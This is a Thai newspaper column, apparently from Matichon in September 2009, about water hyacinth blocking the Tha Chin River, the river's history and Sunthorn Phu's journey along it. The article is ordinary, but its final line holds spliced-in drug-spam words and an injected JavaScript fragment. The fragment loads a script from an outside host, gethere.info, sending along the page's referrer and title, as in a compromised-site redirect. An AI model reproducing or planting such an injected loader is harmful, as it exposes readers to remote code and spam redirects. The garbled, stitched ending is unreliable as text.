หนังสือพิมพ์มติชนฉบับวันพฤหัสบดีที่ 17 กันยายน 2552

ผักตบชวาแน่นแม่น้ำท่าจีนจนใช้เรือแล่นฝ่าไม่ได้ บางแห่งทับซ้อนกันมานานมากจนหนาเป็นแผ่นยาวเหนือน้ำเป็นศอกเป็นวา กระทั่งคนลงไปเดินเล่นได้
อันที่จริงความเดือดร้อนเรื่องผักตบชวาในแม่น้ำท่าจีนมีมานานหลายปีแล้ว นับเป็นหลายสิบปีก็ได้ มีผู้ร้องเรียนให้ทางรัฐบาลแก้ไขต่อเนื่องมาตลอดจนหมดแรง ฝ่ายราชการก็หมดปัญญาแก้ไข เลยต้องปล่อยให้ผักตบชวาอาละวาดเป็นปกติ

มีคณะบุคคลเคยรวมกลุ่มกันรณรงค์รักษาความสะอาดแม่น้ำท่าจีน ถึงกับพิมพ์เอกสารออกมาแจกจ่ายเรียกร้องสม่ำเสมอ แต่ไร้ผล เพราะคนสู้รบผักตบชวาไม่ได้เลย
แม่น้ำท่าจีน ได้ชื่อท่าจีนจากชุมชนคนจีนตรงปากน้ำไหลออกอ่าวไทยที่เป็นท่าจอดสำเภาจีน(ตั้งแต่ยุคสุพรรณภูมิ) น่าจะมีขึ้นราว 500 ปีมาแล้ว(ในแผ่นดินสมเด็จพระมหาจักรพรรดิ) ในพระอัยการตำแหน่งนาทหารหัวเมืองเรียกเมืองที่มีขึ้นภายหลังว่าเมืองท่าจีน(พระสมุทรสาคร เป็นเจ้าเมือง)
เอกสารยุคกรุงรัตนโกสินทร์ระบุว่า ตรงปากน้ำท่าจีนมีอู่ต่อสำเภาได้ราคาถูกกว่าต่อจากเวียดนามในสมัยนั้น แล้วยังต่อด้วยไม้เนื้อแข็งคุณภาพดี น้ำหนักเบา ทำให้เป็นที่ต้องการของตลาดยุคนั้น
แม่น้ำท่าจีน เป็นลำน้ำสำคัญสายหนึ่งทางฟากฝั่งตะวันตกที่ทำให้เกิด “ดินดอนสามเหลี่ยม” บริเวณลุ่มน้ำเจ้าพระยา ภาคกลางของประเทศไทย ขนาบด้วยแม่น้ำแม่กลองอยู่ทางตะวันตก กับแม่น้ำน้อยและแม่น้ำเจ้าพระยาอยู่ทางตะวันออก
ลักษณะอย่างนี้คือฐานด้านเกษตรกรรมและความมั่งคั่งทางเศรษฐกิจการค้าให้เกิดบ้านเมืองยุคแรกๆ เช่น ยุคสุวรรณภูมิ ที่ภายหลังเรียกเมืองอู่ทอง         (อ. อู่ทอง จ. สุพรรณบุรี) หลังจากนั้นได้ขยับขยายเติบโตขึ้นเป็นรัฐแรกๆสมัยทวารวดี เช่น เมืองนครชัยศรี (อ. นครชัยศรี จ. นครปฐม) เพื่อให้เข้าใจรายละเอียดมากขึ้น จึงคัดตัดทอนจากหนังสือต่างๆมาลงพิมพ์ไว้ในพื้นที่สุวรรณภูมิสังคมวัฒนธรรม ฉบับวันนี้
มีข้อมูลสำคัญมากต่อหลักฐานประวัติศาสตร์โบราณคดี อยู่ในเอกสารเก่าระบุว่า จ. นครปฐมมี “ภูมิประเทศยาวไปตามลุ่มแม่น้ำนครชัยศรี เป็นนาเกลือตลอด เว้นแต่ทางทิศตะวันตกเฉียงเหนือของ อ. เมืองนครปฐม ไปทาง  อ. กำแพงแสน เป็นที่ดอน มีป่าไม้เบญจพรรณ และป่าโปร่ง ทำนาได้บางแห่ง” (จากหนังสือ เรื่องจังหวัดต่างๆในประเทศไทย พิมพ์ในงานพระราชทานเพลิงศพ พระโสภณอักษรกิจ(เล็ก สมิตะสิริ) เมื่อวันที่ 12 มิถุนายน พ.ศ. 2491 หน้า 55)
สุนทรภู่ น่าจะเป็นกวีคนเดียวที่เดินทางท่องเที่ยวผ่านแม่น้ำท่าจีนยาวไกลที่สุด ตั้งแต่บริเวณคลองโยง(จากบางใหญ่ นนทบุรี) เชื่อมแม่น้ำท่าจีนที่ลานตากฟ้า (อ. นครชัยศรี จ. นครปฐม) แล้วแต่งนิราศสุพรรณ ไว้เมื่อ พ.ศ. 2384 (ในแผ่นดินรัชกาลที่ 3 ขณะบวชเป็นภิกษุ) มีโคลงบทที่ 55 ว่า

๏ ออกแควแม่น้ำปาก     คลองโยง
แดนด่านบ้านเรือนโรง        เรียดคุ้ง
ชื่อลานตากฟ้าโถง              ทุ่งรอบ ชอบแฮ
เยนย่ำน้ำค้างฟุ้ง                  ฟากฟ้าสากล ฯ

ไกลสุด สุนทรภู่นั่งเรือทวนน้ำท่าจีนไปถึงบางแวก(ปัจจุบันอยู่ อ.สามชุก  จ. สุพรรณบุรี) แล้วเดินป่าไปหาละว้ากับกะเหรี่ยงให้พาไปเล่นแร่แปรธาตุทางดงกระเสียว ปัจจุบันเป็นเขต อ. ด่านช้าง-อ. เดิมบางนางบวช จ. สุพรรณบุรี
เขียนเล่าเรื่องแม่น้ำท่าจีนมานี้ เป็นส่วนหนึ่งในโครงการ“แบ่งปันความรู้ เชิดชูศาสนา พัฒนาแหล่งน้ำลำคลอง” ที่ท่านประธานฯ ขรรค์ชัย บุนปาน ประกาศให้รู้ทั่วกันแล้ว เพื่อป่าวร้องให้ต้องออกแรงร่วมกันหนักขึ้น บ่อยขึ้น ต่อเนื่องมากขึ้น มิฉะนั้นคนสองฝั่งท่าจีนอยู่ลำบากแน่ๆ

 สุดลูกตา- ชาวบ้านแห่ลงไปเตะฟุตบอลอย่างสนุกสนาน บนลานผักตบยักษ์ที่ลอยมาติดแน่นแถวนครชัยศรี จ. นครปฐม ชาวบ้านจี้ทางการรื้อผักตบทิ้งด่วน เพราะการสัญจรในแม่น้ำท่าจีนเป็นอัมพาตไปหมดแล้ว (ภาพและคำบรรยายจาก ข่าวสด ฉบับวันจันทร์ที่ 7 กันยายน 2552 หน้า 1)fluoxetine long term effects buy brand cialis onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;